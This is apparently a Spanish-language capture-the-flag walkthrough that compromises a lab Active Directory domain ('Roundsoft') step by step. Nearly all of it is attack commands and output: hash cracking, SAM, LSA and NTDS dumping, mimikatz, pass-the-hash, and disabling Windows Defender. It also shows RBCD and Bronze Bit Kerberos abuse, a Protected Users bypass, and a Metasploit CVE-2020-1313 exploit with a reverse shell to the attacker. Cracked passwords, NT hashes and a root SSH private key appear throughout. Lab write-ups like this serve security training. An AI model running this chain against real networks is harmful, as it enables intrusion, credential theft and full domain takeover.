[Proxy-Auth] NTLMv2 Hash     : ATHOMPSON::ROUNDSOFT:1122334455667788:3226D5ADD8CEC459E58BCB2A944E4416:0101000000000000003525685CD8D901466A01CE2E0CBE4400000000020008004F0053005A00430001001E00570049004E002D00330055003800590030004E004600590033004C00350004003400570049004E002D00330055003800590030004E004600590033004C0035002E004F0053005A0043002E004C004F00430041004C00030014004F0053005A0043002E004C004F00430041004C00050014004F0053005A0043002E004C004F00430041004C0007000800003525685CD8D90106000400020000000800300030000000000000000000000000300000A0E6542D491037E632B42B69C0AC5B75A6B6336276CAB6008B4C1EB3B07788A10A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0032000000000000000000  

De primeras john no logra romper el hash con el rockyou.txt sin embargo al aplicar algunas reglas obtenemos la contraseña para el usuario AThompson

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash --rules:d3ad0ne
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
sshhiinnoobbii!! (ATHOMPSON)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably  
Session completed.

Curiosamente el usuario AThomson es un administrador local en el equipo GELUS

PS C:\Users\yamano\Documents> net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain  

Members

-------------------------------------------------------------------------------
Administrator
ROUNDSOFT\AThompson
ROUNDSOFT\Domain Admins

The command completed successfully.

PS C:\Users\yamano\Documents>

Al ser administrador local en GELUS al autenticarnos a este equipo nos devuelve un Pwn3d! por lo que podemos dumpear la sam y ver todos los hashes NT

❯ crackmapexec smb gelus.roundsoft.local -u athompson -p 'sshhiinnoobbii!!'
SMB         gelus.roundsoft.local 445    GELUS            [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)  
SMB         gelus.roundsoft.local 445    GELUS            [+] Roundsoft.local\athompson:sshhiinnoobbii!! (Pwn3d!)

❯ crackmapexec smb gelus.roundsoft.local -u athompson -p 'sshhiinnoobbii!!' --sam
SMB         gelus.roundsoft.local 445    GELUS            [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)  
SMB         gelus.roundsoft.local 445    GELUS            [+] Roundsoft.local\athompson:sshhiinnoobbii!! (Pwn3d!)
SMB         gelus.roundsoft.local 445    GELUS            [*] Dumping SAM hashes
SMB         gelus.roundsoft.local 445    GELUS            Administrator:500:aad3b435b51404eeaad3b435b51404ee:e3e6f84b9fbe9eef55078e76115b3a9c:::
SMB         gelus.roundsoft.local 445    GELUS            Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         gelus.roundsoft.local 445    GELUS            DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         gelus.roundsoft.local 445    GELUS            WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b89195ed259b08446b62a25dc930530b:::

Podemos simplemente conectarnos con el hash NT del usuario Administrator haciendo un passthehash con evil-winrm y leer finalmente la flag en el escritorio

❯ evil-winrm -i gelus.roundsoft.local -u Administrator -H e3e6f84b9fbe9eef55078e76115b3a9c  
PS C:\Users\Administrator\Documents> whoami
gelus\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\flag.txt
RPG{l3ave_my_hash3s_al0ne!}
PS C:\Users\Administrator\Documents>


Collapse of the empire

RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}


Para evitar problemas ya que somos administradores desactivaremos el antivirus

PS C:\Users\Administrator\Documents> Set-MpPreference -DisableRealTimeMonitoring $true -DisableIOAVProtection $true
PS C:\Users\Administrator\Documents> cmd /c "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2004.6-0\MpCmdRun.exe" -RemoveDefinitions -All  

Service Version: 4.18.2203.5
Engine Version: 1.1.19200.5
AntiSpyware Signature Version: 1.363.1464.0
AntiVirus Signature Version: 1.363.1464.0

Starting engine and signature rollback to none...
Done!

PS C:\Users\Administrator\Documents>

Subimos mimikatz y dumpeamos las logonpasswords, encontramos varios hashes interesantes, pero resalta uno que antes no teniamos y es el hash del usuario jops

PS C:\Users\Administrator\Documents> upload mimikatz.exe

Info: Uploading mimikatz.exe to C:\Users\Administrator\Documents\mimikatz.exe

Data: 1807016 bytes of 1807016 bytes copied

Info: Upload successful!

PS C:\Users\Administrator\Documents> .\mimikatz.exe "sekurlsa::logonPasswords" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # sekurlsa::logonPasswords

Authentication Id : 0 ; 391204 (00000000:0005f824)
Session           : Interactive from 1
User Name         : athompson
Domain            : ROUNDSOFT
Logon Server      : SHINRA
Logon Time        : 8/25/2023 6:50:25 PM
SID               : S-1-5-21-2284550090-1208917427-1204316795-1676
	msv :
	 [00000003] Primary
	 * Username : AThompson
	 * Domain   : ROUNDSOFT
	 * NTLM     : 14b1991918cdba8474847c8848a8b656
	 * SHA1     : 2b416c46d974004d9db7f799792639729cf7c137
	 * DPAPI    : da282f62633c3e7bdeadb02816ff7be6
	tspkg :
	wdigest :
	 * Username : AThompson
	 * Domain   : ROUNDSOFT
	 * Password : (null)
	kerberos :
	 * Username : AThompson
	 * Domain   : ROUNDSOFT.LOCAL
	 * Password : (null)
	ssp :
	credman :
	 [00000000]
	 * Username : roundsoft\ruby_adm
	 * Domain   : gelus
	 * Password : b3aut1fu1_lyk_@_g3m!

Authentication Id : 0 ; 68684 (00000000:00010c4c)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 8/25/2023 6:49:40 PM
SID               : S-1-5-90-0-1
	msv :
	 [00000003] Primary
	 * Username : GELUS$
	 * Domain   : ROUNDSOFT
	 * NTLM     : 0bb6f6f24c1afa9ceabc119fed53b9ba
	 * SHA1     : 332608fd6cb7fdc10af757ae38bf737fb5b8c9a2
	tspkg :
	wdigest :
	 * Username : GELUS$
	 * Domain   : ROUNDSOFT
	 * Password : (null)
	kerberos :
	 * Username : GELUS$
	 * Domain   : Roundsoft.local
	 * Password : 62 c5 38 18 d9 c2 d9 b0 12 30 c0 91 77 5d f3 a1 75 1a 1e d3 a8 e5 b7 b1 5b 83 cb 50 a6 f2 31 19 00 c3 07 6c b3 dc 85 b3 41 3b 8f 16 1b df 74 6d 7e d2 0f d9 4a b2 52 66 4b 54 13 dd 93 dd 15 b3 76 88 62 f3 11 34 8b ea 2c db f2 af 67 d6 67 2f a2 f2 6f 4b 6c 1a 7c ec 1f b7 c2 19 f0 11 d6 98 66 d9 61 23 55 15 2a d7 b5 77 0d 03 18 8a c8 78 1a e7 c8 66 4d d8 c2 1e 36 d7 fb b7 32 ba c6 d4 08 52 be 5a 8e 7d 3b 5c 17 0c 19 f4 83 96 a0 b3 25 8d 43 71 1c 02 80 59 fa df e3 a7 f5 71 bd 53 5d 8d d6 05 0d 7d c7 bc d3 0c 22 f6 bb 67 3f 4b 29 ff 01 52 64 39 a7 d5 41 04 5f 7b 16 31 82 4f 95 50 a7 cd d7 e8 b9 b5 e2 61 28 62 43 81 5d cc 9a 87 95 e2 0e c1 47 7f d7 ef 55 45 e0 22 2f 09 a9 02 23 5e 60 1a 90 68 87 b6 a0 e6 a1 7f a4 0b  
	ssp :
	credman :

Authentication Id : 0 ; 93648 (00000000:00016dd0)
Session           : Batch from 0
User Name         : repository_admin
Domain            : ROUNDSOFT
Logon Server      : SHINRA
Logon Time        : 8/25/2023 6:49:58 PM
SID               : S-1-5-21-2284550090-1208917427-1204316795-1110
	msv :
	 [00000003] Primary
	 * Username : repository_admin
	 * Domain   : ROUNDSOFT
	 * NTLM     : 61191aeb8b9a60d01e41faa8bacb2334
	 * SHA1     : fc4b6cb866a39ff10daacc9273f46a68d03dd0c5
	 * DPAPI    : be550fd796d51b6a89a33bb2f91b8bc2
	tspkg :
	wdigest :
	 * Username : repository_admin
	 * Domain   : ROUNDSOFT
	 * Password : (null)
	kerberos :
	 * Username : repository_admin
	 * Domain   : ROUNDSOFT.LOCAL
	 * Password : (null)
	ssp :
	credman :

Authentication Id : 0 ; 422631 (00000000:000672e7)
Session           : Batch from 0
User Name         : jops
Domain            : ROUNDSOFT
Logon Server      : SHINRA
Logon Time        : 8/25/2023 6:50:28 PM
SID               : S-1-5-21-2284550090-1208917427-1204316795-1602
	msv :
	 [00000003] Primary
	 * Username : jops
	 * Domain   : ROUNDSOFT
	 * NTLM     : f7b8e6e5af23f06fdbb559d1888261fa
	 * SHA1     : f96c0dfad6ef2f6c97d1a1076705a0a65b1b10b8
	 * DPAPI    : 1364f3312f690918fbe42fa9b55adaed
	tspkg :
	wdigest :
	 * Username : jops
	 * Domain   : ROUNDSOFT
	 * Password : (null)
	kerberos :
	 * Username : jops
	 * Domain   : ROUNDSOFT.LOCAL
	 * Password : (null)
	ssp :
	credman :

mimikatz(commandline) # exit
Bye!

PS C:\Users\Administrator\Documents>

El usuario jops pertenece al grupo Operators, este tiene privilegio GenericWrite sobre el equipo SHINRA que es el DC por lo que podriamos hacer un ataque RBCD

Este tipo de ataque RBCD se puede hacer facilmente con las herramientas impacket, creando la cuenta de equipo con addcomputer y hacer la delegacion con rbcd

❯ impacket-addcomputer -computer-name attackersystem$ -computer-pass 123456 'roundsoft.local/jops' -hashes :f7b8e6e5af23f06fdbb559d1888261fa
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Successfully added machine account attackersystem$ with password 123456.

❯ impacket-rbcd -delegate-from attackersystem$ -delegate-to SHINRA$ -action write 'roundsoft.local/jops' -hashes :f7b8e6e5af23f06fdbb559d1888261fa  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] attackersystem$ can now impersonate users on SHINRA$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     attackersystem$   (S-1-5-21-2284550090-1208917427-1204316795-10101)

Al autenticarnos como la maquina intentando obtener un ticket suplantando a Administrator nos devuelve error aunque si podemos suplantar al equipo SHINRA$

❯ impacket-getST -spn cifs/shinra.roundsoft.local roundsoft.local/'attackersystem$':123456 -impersonate Administrator  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user attackersystem$ or initial TGT not forwardable

❯ impacket-getST -spn cifs/shinra.roundsoft.local roundsoft.local/'attackersystem$':123456 -impersonate SHINRA$  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for user
[*] Impersonating SHINRA$
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[*] Saving ticket in SHINRA$.ccache

❯ export KRB5CCNAME='SHINRA$.ccache'

Auntenticandonos con el hash del equipo SHINRA$ que es el DC y este tener privilegios DCSync sobre el dominio podemos dumpear el hash de Administrator

❯ crackmapexec smb shinra.roundsoft.local -k --use-kcache
SMB         shinra.roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         shinra.roundsoft.local 445    SHINRA           [+] Roundsoft.local\SHINRA$ from ccache

❯ crackmapexec smb shinra.roundsoft.local -k --use-kcache --ntds drsuapi --user Administrator
SMB         shinra.roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         shinra.roundsoft.local 445    SHINRA           [+] Roundsoft.local\SHINRA$ from ccache 
SMB         shinra.roundsoft.local 445    SHINRA           [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         shinra.roundsoft.local 445    SHINRA           [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         shinra.roundsoft.local 445    SHINRA           administrator:500:aad3b435b51404eeaad3b435b51404ee:fe29edb1766170b8afe7a55cbf360885:::

Sin embargo al intentar autenticarnos con el hash NT de Administrator a nivel de dominio nos devuelve un error ya que hay una restriccion en esta cuenta

❯ crackmapexec smb shinra.roundsoft.local -u Administrator -H fe29edb1766170b8afe7a55cbf360885
SMB         roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         roundsoft.local 445    SHINRA           [-] Roundsoft.local\Administrator:fe29edb1766170b8afe7a55cbf360885 STATUS_ACCOUNT_RESTRICTION

Esto se debe a que el usuario Administrator pertenece al grupo Protected Users

Esta restriccion es facil de bypassear y es que si simplemente agregamos el parametro -k para autenticarnos por kerberos donde no aplica, devuelve Pwn3d!

❯ crackmapexec smb shinra.roundsoft.local -u Administrator -H fe29edb1766170b8afe7a55cbf360885 -k
SMB         shinra.roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         shinra.roundsoft.local 445    SHINRA           [+] Roundsoft.local\Administrator:fe29edb1766170b8afe7a55cbf360885 (Pwn3d!)

Podemos conectarnos con wmiexec y obtener una shell donde leemos la flag

❯ impacket-wmiexec roundsoft.local/Administrator@shinra.roundsoft.local -hashes :fe29edb1766170b8afe7a55cbf360885 -k -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
roundsoft\administrator

PS C:\> hostname
Shinra

PS C:\> type C:\Users\Administrator\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}

PS C:\>

Aunque si dumpeamos los secretos lsa con crackmapexec encontramos la contraseña del usuario Administrator en texto plano y podemos conectarnos

❯ crackmapexec smb shinra.roundsoft.local -u Administrator -H fe29edb1766170b8afe7a55cbf360885 -k --lsa
SMB         roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB         roundsoft.local 445    SHINRA           [+] Roundsoft.local\Administrator:fe29edb1766170b8afe7a55cbf360885 (Pwn3d!)
SMB         roundsoft.local 445    SHINRA           [+] Dumping LSA secrets
SMB         roundsoft.local 445    SHINRA           ROUNDSOFT\SHINRA$:aes256-cts-hmac-sha1-96:beadb3a924678aa10bcb93c380e61e8f6ffdb856053b43124dc91c87fd10fc83
SMB         roundsoft.local 445    SHINRA           ROUNDSOFT\SHINRA$:aes128-cts-hmac-sha1-96:4f79bd07a999d2c9dad54d92c1b1e0e4
SMB         roundsoft.local 445    SHINRA           ROUNDSOFT\SHINRA$:des-cbc-md5:da54bc386bdc34f1
SMB         roundsoft.local 445    SHINRA           ROUNDSOFT\SHINRA$:plain_password_hex:7525fd02c56f75333058d0fff13f02f73b1d08b7864f6c966b0721cce5cdcadf90080fb560b3a675726d9dc43b21846d2a6fd02692ac94250e0b82257664b66c72ab06e93b7476143529e6947ce60fb1db4448d0c4f76517688d1902ec7e81f1fe741aaa9ba1eba5e3cec86523bf4057aa04525ddeb40dcd8a66429791962af93dd9dc5af7d44eb446df8755d16b8ee62ef88da153ae7d02d0b98defeae6154d0b346a157c39fca5a198b74ec45174286002f44a8705de6f93113b8a63ae8d02f11033c2877cbebf6a9d86eb0602cba6665e5a6344af9588908d45244ee303ece614118e5077cb2720f9703e5a07954f  
SMB         roundsoft.local 445    SHINRA           ROUNDSOFT\SHINRA$:aad3b435b51404eeaad3b435b51404ee:40a874865912cdcfad83663885215c6b:::
SMB         roundsoft.local 445    SHINRA           ROUNDSOFT\Administrator:SimianThrash_xiv14
SMB         roundsoft.local 445    SHINRA           dpapi_machinekey:0x3adf746c69f4e53c29d7a39f3b862599f16320a9
dpapi_userkey:0x519512fd1017c0b60f9b7f9a454342f441896971
SMB         roundsoft.local 445    SHINRA           NL$KM:d8337f7ba32cde15cfb49a10373f6ba94e4946705727e81ee8a911a81def190ccc4392f39cc7511a06566d60da73227481ecb49f69fc6a8ac852e6f503560d59

❯ crackmapexec smb shinra.roundsoft.local -u Administrator -p SimianThrash_xiv14 -k
SMB         shinra.roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)
SMB         shinra.roundsoft.local 445    SHINRA           [+] Roundsoft.local\Administrator:SimianThrash_xiv14 (Pwn3d!)

❯ impacket-wmiexec roundsoft.local/Administrator:SimianThrash_xiv14@shinra.roundsoft.local -k -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
roundsoft\administrator

PS C:\> hostname
Shinra

PS C:\> type C:\Users\Administrator\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}

PS C:\>

Para eliminar la restriccion de smb basta con eliminar al usuario Administrator del grupo global Protected Users haciendo uso del comando net group /del

PS C:\> net group "Protected Users" Administrator /del  
The command completed successfully.

PS C:\>

Ahora nos autenticamos a nivel de smb normalmente hacia todos los equipos del dominio, las credenciales son validas y hemos comprometido todos los equipos

❯ crackmapexec smb 192.168.125.88-129 -u Administrator -p SimianThrash_xiv14
SMB         192.168.125.88  445    GELUS            [*] Windows 10.0 Build 17763 x64 (name:GELUS) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB         192.168.125.128 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         192.168.125.129 445    LUX              [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:Roundsoft.local) (signing:False) (SMBv1:False)
SMB         192.168.125.88  445    GELUS            [+] Roundsoft.local\Administrator:SimianThrash_xiv14 (Pwn3d!)
SMB         192.168.125.128 445    SHINRA           [+] Roundsoft.local\Administrator:SimianThrash_xiv14 (Pwn3d!)
SMB         192.168.125.129 445    LUX              [+] Roundsoft.local\Administrator:SimianThrash_xiv14 (Pwn3d!)

Podemos simplemente conectarnos con evil-winrm a SHINRA y leer la ultima flag

❯ evil-winrm -i shinra.roundsoft.local -u Administrator -p SimianThrash_xiv14  
PS C:\Users\Administrator\Documents> whoami
roundsoft\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}
PS C:\Users\Administrator\Documents>


Extra 1

CVE-2020-1313 - LUX Administrator / IGNIS root


Desde la sesión de meterpreter como janderson vemos varios posibles exploits, entre ellos el cve_2020_1313 que podemos ejecutar indicando la sesion y host

(Meterpreter 1)(C:\Users\janderson\Documents) > background
[*] Backgrounding session 1...
[msf](Jobs:0 Agents:1) exploit(multi/handler) >> use exploit/windows/local/cve_2020_1313_system_orchestrator  
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:1) exploit(windows/local/cve_2020_1313_system_orchestrator) >> set session 1
session => 1
[msf](Jobs:0 Agents:1) exploit(windows/local/cve_2020_1313_system_orchestrator) >> set lhost 192.168.125.135
lhost => 192.168.125.135
[msf](Jobs:0 Agents:1) exploit(windows/local/cve_2020_1313_system_orchestrator) >> set lport 4444
lport => 4444
[msf](Jobs:0 Agents:1) exploit(windows/local/cve_2020_1313_system_orchestrator) >> run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Attempting to PrivEsc on LUX via session ID: 1
[*] Exploit uploaded on LUX to C:\Users\JANDER~1\AppData\Local\Temp\TlLjChoI.exe
[*] Payload (7168 bytes) uploaded on LUX to C:\Users\JANDER~1\AppData\Local\Temp\ryfUGQwAG.exe
[!] This exploit requires manual cleanup of the payload C:\Users\JANDER~1\AppData\Local\Temp\ryfUGQwAG.exe
[msf](Jobs:0 Agents:1) exploit(windows/local/cve_2020_1313_system_orchestrator) >>

Sin embargo este exploit no es inmediato, puede tardar desde un par de minutos hasta horas y no puedes hacer nada para acelerarlo, despues de un tiempo recibimos una sesion de meterpreter como el usuario nt authority\system

[*] Sending stage (175686 bytes) to 10.10.14.10
[*] Meterpreter session 5 opened (10.10.14.10:4444 -> 10.10.14.10:35826) 

(Meterpreter 2)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
(Meterpreter 2)(C:\Windows\system32) >

Aunque podemos dumpear la sam con hashdump para mas comodidad cambiamos la contraseña del usuario Administrator por una sencilla como lo es password123#

(Meterpreter 2)(C:\Windows\system32) > shell
Process 20180 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18362.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>net user Administrator password123#
The command completed successfully.

C:\Windows\system32>

Ya con la contraseña de Administrator podemos habilitar RDP y el modo de administracion restringido para despues poder conectarnos con xfreerdp

❯ crackmapexec smb lux.roundsoft.local -u Administrator -p password123# --local-auth -M rdp -o ACTION=enable
SMB         lux.roundsoft.local 445    LUX              [*] Windows 10.0 Build 18362 x64 (name:LUX) (domain:LUX) (signing:False) (SMBv1:False)  
SMB         lux.roundsoft.local 445    LUX              [+] LUX\Administrator:password123# (Pwn3d!)
RDP         lux.roundsoft.local 445    LUX              [+] RDP enabled successfully

PS C:\Users\Administrator\Documents> New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\LSA" -Name DisableRestrictAdmin -Value 0 -PropertyType DWORD  

DisableRestrictAdmin : 0
PSPath               : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
PSParentPath         : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\system\currentcontrolset\control
PSChildName          : lsa
PSDrive              : HKLM
PSProvider           : Microsoft.PowerShell.Core\Registry

PS C:\Users\Administrator\Documents>

Nos conectamos con xfreerdp y obtenemos una sesion con interfaz grafica en LUX

❯ xfreerdp /u:Administrator /p:password123# /v:lux.roundsoft.local /cert:ignore /dynamic-resolution  

Desde el administrador de tareas encontramos una sesion rdp como janderson la cual esta desconectada pero nos podemos conectar a ella con Connect

En la sesion de janderson encomtramos una consola de putty con una sesion ssh abierta en el equipo ignis como root, podemos interactuar y leer la id_rsa

root@Ignis:~# cat flag.txt 
RPG{h1j@ckin_lyk_@_pir@t3}
root@Ignis:~# cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApMsl55Pd3zSo30FA1lXAK438V4LGFv+CKORjEFtQWn1kN/uT
6j8c5kf/gAeAZvBb4GBR/vtQ9MKigTrFa+0Z4Azp/SXe/tx0IKHq2xG7NcL4zUWP
PtL7Kz/Y0JDrXgCyJMgzeyDeebN4UkC24cGG55efgY8QOFq+htHnPJmZGDwSVWvX
iHGNglz+Wn7ZTVwZxUmKyf5IE9j5JWQyvXqJtEAspq+vQjTCr+WmvgaBma/kKCIl
ZjzcLtxSMduFZ2G1TW23WoXIE/VzliCxYlvwZM14GWEXiWtHhUmW5C8NacbrDDU5
G/y/lKaRRuUxScynxXucLePHmfoziVXK4rARTQIDAQABAoIBAQCKzREAHOukNRaH
9M5HubJC/TSuANgYRt2606MdA8yKa1MeVCgiBUayL7Jkg+0CxzCbrIVj3woxHj8B
2h6u6OYCcN4k+uD4iXbGhZrrKeQlRDOLsisVH1+u7fgQs/+LDcr+cCHsc6LvntqZ
bSicvgSCzJLs7TMcRFJ1/BZoVHc+kP+seTf3zG1UFVEFrSzKvam+tNpJqZ3E/uHa
UJx6l7+AgJGK8sQqVkXgrbIJb70HEmCM34bKMlPLKfD8XArOK4kJ/++LlQM+0ArS
lFCIgi3bjHzwBTAtp3j9HyvdEWv9g97KhcKYRfR1Oi4GyS+P5STzG8vDaNFNSuPr
zAP2Pe2BAoGBANrgyidmfp/wfl0Q5nc641MWRRIuQu535viwbBz3K1lkS1OaKE1p
LD2sCJB6UJMwrlc96ifdjTQiXqu/cFC6gHHxZoA1ubyRq9lxKGYqAVJjqHCkjw3X
l5AB7GvBlYWPYzudwnAZy5mnb9J7ALzBj6Wgtl/Gi4RFFKs8TZbQk15DAoGBAMC+
IBvx2FbvgF5hMzusK/SO0eWxh4WeL9rxGV7jAZmRZy9eIc10lp39PjS6k1KgcDnP
p1oYE/zy075PoaMwtYYwzOv/Oq/Zweofe55XlLBE2AqWy6fOzgvvSpN7W+Z3ekKV
T0Ff8d5E2pH5Mmm7C6QXHRjwOlZfmXgE+zgRNoEvAoGAUevKnd6VzCUGFq0ppTyM
Mt/l8D0SXhDQiQn3HQxB1E5ehybuqLKRlW+bMQAmwkB5MDwDNPKOVBH9Hwki74Qu
aPcyJxB0uShIirT4quxT3FNiiu58gHDN0F937ojg/sFBIeIVEUIGWzc4+i2BhCRq
MFKrj8NPGq2EY+bJH4ZnceMCgYEApSXDKW6Nqd/JJBUw6t5ZQ1DkdGUq88hYxMZ0
sKLdihHWUfXcDMjrDTAiDtgWx2OFBWPxxvZ+mewOljBxFPz1bKd/zm6AgJCa4Npc
942fb3Ftk5UlpwFB92PviHLYiZ6x+T8qC6AEBCkHBrB5C7MjBFRxsB6WPc/oFbhe
8Ol+xC0CgYEAhFUtb5PyuOqUj/11SouJUmj5VEc3AOiI6tlW2i4HOBJ4xW+8T+iN
xHaEi7VUv/A/AK5QE0SXn31LvI6XuHW6XaSpf1d2pfBVIS72qcxcY0z/k0dXnzdI  
C9wR45gixx9rkWkCpXZptDAd+BORFU0xKVXTPWw9iTA9urTdJ1TTE9A=
-----END RSA PRIVATE KEY-----
root@Ignis:~#

Ya con la id_rsa simplemente nos conectamos como root por ssh y leemos la flag

❯ ssh root@10.13.38.18 -i id_rsa
root@Ignis:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Ignis:~# hostname -I
10.13.38.18 192.168.125.135 172.17.0.1 dead:beef::250:56ff:fe07:4590  
root@Ignis:~# cat flag.txt
RPG{h1j@ckin_lyk_@_pir@t3}
root@Ignis:~#


Extra 2

CVE-2020-17049 - SHINRA Administrator


Antes cuando intentabamos obtener un ticket suplantando a Administrator nos daba un error y suplantabamos al equipo SHINRA$ sin embargo podemos aprovecharnos del bronzebit que podemos explotar solo con -force-forwardable

❯ impacket-getST -spn cifs/shinra.roundsoft.local roundsoft.local/'attackersystem$':123456 -impersonate Administrator  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user attackersystem$ or initial TGT not forwardable

❯ impacket-getST -spn cifs/shinra.roundsoft.local roundsoft.local/'attackersystem$':123456 -impersonate Administrator -force-forwardable  
Impacket v0.11.0 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] 	Forcing the service ticket to be forwardable
[*] 	Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

❯ export KRB5CCNAME=Administrator.ccache

En este punto podemos usar el ticket para autenticarnos contra la maquina y obtener una shell en SHINRA que es el DC como el usuario Administrator

❯ impacket-wmiexec shinra.roundsoft.local -k -no-pass -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
roundsoft\administrator

PS C:\> hostname
Shinra

PS C:\> type C:\Users\Administrator\Desktop\flag.txt
RPG{WhY_w0rK_h@rD_Wh3N_U_c@N_d3l3g@7e?}

PS C:\>

O tambien podriamos dumpear el ntds para obtener el hash NT de Administrator y conectarnos al equipo aplicando un passthehash con cualquier otra herramienta

❯ crackmapexec smb shinra.roundsoft.local -k --use-kcache --ntds drsuapi --user Administrator
SMB         shinra.roundsoft.local 445    SHINRA           [*] Windows Server 2016 Standard 14393 x64 (name:SHINRA) (domain:Roundsoft.local) (signing:True) (SMBv1:True)  
SMB         shinra.roundsoft.local 445    SHINRA           [+] Roundsoft.local\Administrator from ccache (Pwn3d!)
SMB         shinra.roundsoft.local 445    SHINRA           [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         shinra.roundsoft.local 445    SHINRA           administrator:500:aad3b435b51404eeaad3b435b51404ee:fe29edb1766170b8afe7a55cbf360885:::


Extra 3

CVE-2021-42278 / CVE-2021-42287 - SHINRA Administrator


Como alternativa podemos usar noPac donde aunque el parametro -shell no funcionará directamente si que nos creara un ticket como Administrator

❯ python3 noPac.py roundsoft.local/janderson:Welcome_roundsoft2019! -use-ldap

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
    
[*] Current ms-DS-MachineAccountQuota = 10
